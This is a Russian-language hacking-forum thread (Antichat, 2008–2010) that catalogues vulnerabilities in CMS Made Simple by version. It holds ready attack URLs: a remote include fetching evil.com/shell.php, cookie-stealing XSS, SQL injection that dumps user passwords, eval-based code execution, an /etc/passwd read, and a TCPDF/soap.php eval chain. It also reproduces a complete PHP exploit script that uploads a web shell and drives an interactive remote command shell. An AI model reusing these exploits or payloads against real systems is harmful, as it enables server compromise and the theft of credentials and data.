Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
[Обзор уязвимостей в CMS Made Simple] |

14.12.2008, 22:01
|
|
Познающий
Регистрация: 06.12.2008
Сообщений: 33
Провел на форуме: 75860
Репутация:
16
|
|
[Обзор уязвимостей в CMS Made Simple]
-=CMS MADE SIMPLE=-
[CMS Made Simple <= 0.10]
Удаленный инклуд
Код:
http://www.example.com/cms/admin/lang.php?CMS_ADMIN_PAGE=1&nls[file][vx][vxsfx]=http://www.evil.com/shell.php
Пассивная XSS
Код:
http://www.example.com/index.php?page=<script>alert(document.cookie);</script>
[CMS Made Simple 1.0.2]
Пассивная XSS
Код:
http://www.example.com/index.php?mact=Search,cntnt01,dosearch,0&cntnt01returnid=51&cntnt01searchinput=Enter+Search..."><script>alert(document.cookie)</script>&cntnt01submit=Submit
Активная XSS в форме добавления комментариев
Код:
<script>alert()</script>
[CMS Made Simple <= 1.0.5]
SQL-инъекция
Код:
http://www.example.com/stylesheet.php?templateid=16+AND+1=1
http://www.example.com/stylesheet.php?templateid=16+AND+1=0
[CMS Made Simple <= 1.1.2]
Исполнение произвольного кода
Код:
http://www.example.com/lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&w=phpinfo();
http://www.example.com/lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&w=[ PHPCODE ]
[CMS Made Simple <= 1.1.3.1]
Обход пользовательских ограничений
Зарегистрированный пользователь может создавать новых пользователей /admin/adduser.php или загружать произвольные файлы на сервер.
[CMS Made Simple <= 1.2.2]
SQL-инъекция (TinyMCE module)
Код:
http://[host]/[path]/modules/TinyMCE/content_css.php?templateid=-1/**/UNION/**/SELECT/**/username,1,password/**/FROM/**/{prefix}_users/*
[CMS Made Simple <= 1.2.4]
Загрузка произвольных файлов на сервер (FileManager module)
PHP код:
<?php
/*
---------------------------------------------------------------------------
CMS Made Simple <= 1.2.4 (FileManager module) Arbitrary File Upload Exploit
---------------------------------------------------------------------------
author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com
link.....: http://www.cmsmadesimple.org/
dork.....: "This site is powered by CMS Made Simple"
[-] vulnerable code in /modules/FileManager/postlet/javaUpload.php
21. // Configuration ---------------------------------------------------------------
22. // Change the below path to the folder where you would like files uploading.
23. // e.g. "/home/yourname/myuploads/"
24. // or "c:\php\uploads\"
25. // Note, this MUST have the trailing slash.
26. $uploaddir = '[PATH TO UPLOAD DIRECTORY]';
27. // Whether or not to allow the upload of specific files
28. $allow_or_deny = true;
29. // If the above is true, then this states whether the array of files is a list of
30. // extensions to ALLOW, or DENY
31. $allow_or_deny_method = "deny"; // "allow" or "deny"
32. $file_extension_list = array("php","asp","pl");
33. // -----------------------------------------------------------------------------
34. if ($allow_or_deny){
35. if (($allow_or_deny_method == "allow" && !in_array(strtolower(array_pop(explode('.', $_FILES['userfile']['name']))), $file_extension_list))
36. || ($allow_or_deny_method == "deny" && in_array(strtolower(array_pop(explode('.', $_FILES['userfile']['name']))), $file_extension_list))){
37. // Atempt to upload a file with a specific extension when NOT allowed.
38. // 403 error
39. header("HTTP/1.1 403 Forbidden");
40. echo "POSTLET REPLY\r\n";
41. echo "POSTLET:NO\r\n";
42. echo "POSTLET:FILE TYPE NOT ALLOWED\r\n";
43. echo "POSTLET:ABORT THIS\r\n"; // Postlet should NOT send this file again.
44. echo "END POSTLET REPLY\r\n";
45. exit;
46. }
47. }
48. if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir .$_FILES['userfile']['name']))
49. {
50. // All replies MUST start with "POSTLET REPLY", if they don't, then Postlet will
51. // not read the reply and will assume the file uploaded successfully.
52. echo "POSTLET REPLY\r\n";
53. // "YES" tells Postlet that this file was successfully uploaded.
54. echo "POSTLET:YES\r\n";
55. // End the Postlet reply
56. echo "END POSTLET REPLY\r\n";
57. exit;
with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious
PHP code due to $file_extension_list array don't contains many dangerous extensions (.jsp, .php3, .cgi, .dhtml, etc...)
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}
function upload()
{
global $host, $path, $uploaddir, $file_ext;
foreach ($file_ext as $ext)
{
print "\n[-] Trying to upload with .{$ext} extension...";
$data = "--12345\r\n";
$data .= "Content-Disposition: form-data; name=\"userfile\"; filename=\".php.{$ext}\"\r\n";
$data .= "Content-Type: application/octet-stream\r\n\r\n";
$data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\n";
$data .= "--12345--\r\n";
$packet = "POST {$path}modules/FileManager/postlet/javaUpload.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=12345\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $data;
$html = http_send($host, $packet);
if (!eregi("POSTLET:YES", $html)) die("\n[-] Upload failed!\n");
$packet = "GET {$path}modules/FileManager/postlet/{$uploaddir}.php.{$ext} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);
if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;
sleep(1);
}
return false;
}
print "\n+----------------------------------------------------------------+";
print "\n| CMS Made Simple <= 1.2.4 Arbitrary File Upload Exploit by EgiX |";
print "\n+----------------------------------------------------------------+\n";
if ($argc < 2)
{
print "\nUsage......: php $argv[0] host path";
print "\nExample....: php $argv[0] localhost /cms/\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$uploaddir = rawurlencode("[PATH TO UPLOAD DIRECTORY]");
$file_ext = array("dhtml", "phtml", "php3", "php5", "jsp", "jar", "cgi");
if (!($ext = upload())) die("\n\n[-] Exploit failed...\n");
else print "\n[-] Shell uploaded...starting it!\n";
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
print "\ncmsmadesimple-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}modules/FileManager/postlet/{$uploaddir}.php.{$ext} HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";
$packet.= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);
//echo $html;
if (!eregi("_code_", $html)) die("\n[-] Exploit failed...\n");
$shell = explode("_code_", $html);
print "\n{$shell[1]}";
}
else break;
}
?>
[CMS Made Simple 1.4.1]
Локальный инклуд
PHP код:
Demo: on h[ttp://demo.cmsmadesimple.fr/admin/]
GET http://demo.cmsmadesimple.fr/admin/login.php HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: demo.cmsmadesimple.fr
Cookie: cms_language=../../../../../../../../etc/passwd%00.html;cms_admin_user_id=1
Connection: Close
Pragma: no-cache
It's possible to set "cms_language" value in order to view /etc/passwd file.
|
|
|

06.02.2009, 23:28
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме: 1469161
Репутация:
142
|
|
Для 1.5.х существует ченить?))
|
|
|

02.04.2010, 05:14
|
|
Новичок
Регистрация: 26.09.2009
Сообщений: 9
Провел на форуме: 92035
Репутация:
0
|
|
,а уст. версию узнать как ?
|
|
|

02.04.2010, 12:03
|
|
Members of Antichat - Level 5
Регистрация: 09.05.2008
Сообщений: 304
Провел на форуме: 7875940
Репутация:
2362
|
|
Cross-site Scripting
/install/cmschecksum.php?error=[XSS]
необходимо:- register_globals = on
- неудаленная папка install
install/cmschecksum.php/">[XSS]
необходимо:- неудаленная папка install
Информация о версии: /doc/CHANGELOG.txt
__________________
включи голову
|
|
|

03.04.2010, 00:36
|
|
Познающий
Регистрация: 07.02.2009
Сообщений: 89
Провел на форуме: 3029180
Репутация:
106
|
|
http://inj3ct0r.com/exploits/11570
|
|
|

09.04.2010, 14:29
|
|
Members of Antichat - Level 5
Регистрация: 09.05.2008
Сообщений: 304
Провел на форуме: 7875940
Репутация:
2362
|
|
Remote arbitrary code execution
Сегодня наткнулся на уязвимость в TCPDF: http://packetstormsecurity.org/filedesc/tcpdf-exec.txt.html
В последней версии CMS Made Simple (на момент написания поста: 1.7) используется как-раз уязвимая версия.
Сразу уточню, для эксплуатации потребуется включенная в адмике опция "Включить выдачу PDF" (Расширения > Печать страницы > Настройки PDF)
file: /modules/Printing/action.output.php
PHP код:
...
$url = base64_decode($params['url']);
$pageid = (int)$params['pageid'];
$pdf = (int)$params['pdf'];
$pdf = $pdf && $this->GetPreference('pdfenable');
$script = (int)$params['script'];
$includetemplate = (int)$params['includetemplate'];
// get the output content.
$showcontent = '';
if( startswith($url,$config['root_url']) ) {
$showcontent = $this->GetURLContent($url);
if (isset($_REQUEST["includetemplate"]) && $_REQUEST["includetemplate"]=="true") {
$showcontent=$this->GetBody($showcontent);
}
}
...
Т.е. если в параметре url будет адрес страницы, начинающийся с корня сайта с доменом (к примеру, http://test/cmsmadesimple/), и параметр pdf будет > 0, то контент страницы будет отправлен на конвертацию в pdf. Трабла в том, что загрузить файл в эту цмс обычному смертному нельзя. Решение проблемы было найдено в скрипте /soap.php
PHP код:
...
function soap_error( $str )
{
$namespaces = array(
'SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xsd' => 'http://www.w3.org/2001/XMLSchema',
'xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/'
);
$ns_string = '';
foreach( $namespaces as $k => $v )
{
$ns_string .= "\n xmlns:$k=\"$v\"";
}
$txt =
'<?xml version="1.0" encoding="ISO-8859-1"?>'.
'<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"'.$ns_string.">\n".
'<SOAP-ENV:Body>'.
'<SOAP-ENV:Fault>'.
'<faultcode>Server</faultcode>'.
'<faultstring>'.$str.'</faultstring>'.
'</SOAP-ENV:Fault>'.
'</SOAP-ENV:Body>'.
'</SOAP-ENV:Envelope>';
echo $txt;
}
...
if( !isset( $gCms->modules[$params['module']] ) )
{
header('Content-Type: text/xml');
echo soap_error("module ".$params['module']." not found");
exit;
}
...
Код:
/soap.php?module=%3Ctcpdf+method=%22Rect%22%20params=%22);eval($_REQUEST[tt]);die(%22/%3E
выводит нужный код без изменений.
Дальше все просто: url в base64_encode и в параметры запроса
Т.е. в конечном итоге должно получиться что-то вроде:
Код:
http://test/cmsmadesimple/index.php?mact=Printing,cntnt01,output,0&cntnt01url=aHR0cDovL3Rlc3QvY21zbWFkZXNpbXBsZS9zb2FwLnBocD9tb2R1bGU9JTNDdGNwZGYrbWV0aG9kPSUyMlJlY3QlMjIlMjBwYXJhbXM9JTIyKTtldmFsKCRfUkVRVUVTVFt0dF0pO2RpZSglMjIvJTNF=&cntnt01pageid=15&cntnt01pdf=2&tt=phpinfo();
__________________
включи голову
|
|
|

04.06.2010, 04:51
|
|
Новичок
Регистрация: 17.07.2007
Сообщений: 2
Провел на форуме: 39731
Репутация:
0
|
|
заливка шела от админ?
спасибо
Последний раз редактировалось ekoglobul; 04.06.2010 в 04:57..
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|